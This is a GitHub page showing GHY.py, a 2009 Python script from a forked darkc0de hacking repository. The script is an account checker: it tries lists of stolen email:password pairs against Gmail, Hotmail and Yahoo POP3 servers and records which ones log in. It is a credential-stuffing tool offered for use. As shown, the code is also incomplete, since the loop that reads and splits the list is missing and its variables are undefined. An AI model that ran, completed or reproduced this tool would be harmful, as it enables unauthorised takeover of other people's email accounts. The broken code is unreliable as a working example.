forked from tuwid/darkc0de-old-stuff
-
Notifications
You must be signed in to change notification settings - Fork 7
/
GHY.py
99 lines (89 loc) · 3.09 KB
/
GHY.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/python
#
# #
################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# You only get smarter, by playing a smarter opponent! #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #
################################################################
# #
#
#code: p47r1ck
#name: GHY.py
#version 1.0
#
#IMPORTANT!!!
#
#
# "You only get smarter
# by playing a smarter opponent!"
# by P47r1ck
#
# Thanks to : 3l3c7r1c [ Happy Now ? ]
#
import sys, poplib, os
os.system(['clear','cls'][os.name == 'nt'])
def printHelp():
print '\nUsage: ./GHY.py <domain> <emails>'
print 'Ex: ./GHY.py yahoo emails.txt'
print 'Ex: ./GHY.py gmail emails.txt'
print 'Ex: ./GHY.py hotmail emails.txt'
print '\nNote: The accounts must be in the following format: user@mail.com:password\n'
print "\n********************************************************************"
print "*Multi Account Checker !!!*"
print "* Gmail - Hotmail - Yahoo *"
print "* Coded by P47r1ck! *"
print "* www.darkc0de.com *"
print "* 07/2009 *"
print "********************************************************************"
if len(sys.argv) != 3:
printHelp()
exit(1)
SAVEFILE = 'valid_emails.txt'
if sys.argv[1] == "hotmail":
HOST = 'pop3.live.com'
PORT = 995
print '\nChecking Hotmail Account Now\n'
else:
pass
if sys.argv[1] == "gmail":
HOST = 'pop.gmail.com'
PORT = 995
print '\nChecking Gmail Account Now\n'
else:
pass
if sys.argv[1] == "yahoo":
HOST = 'plus.pop.mail.yahoo.com'
PORT = 995
print '\nChecking Yahoo Account Now\n'
# Do not change anything below.
maillist = sys.argv[2]
valid = []
currline = 0
try:
handle = open(maillist)
except:
print '\n[-] I can not open the mail list.Dude!!! Be carefull!!!'
print '\n[-] Leaving... Ciao!'
exit(1)
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(email)
pop.pass_(password)
valid.append(email + ':' + password)
print '\n[+] Checking: %s <%s> -> Valid!\n' % (email, password)
pop.quit()
except:
print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
pass
print '\n[+] Total Valid: %s' % len(valid)
print '\n[+] Done.\n'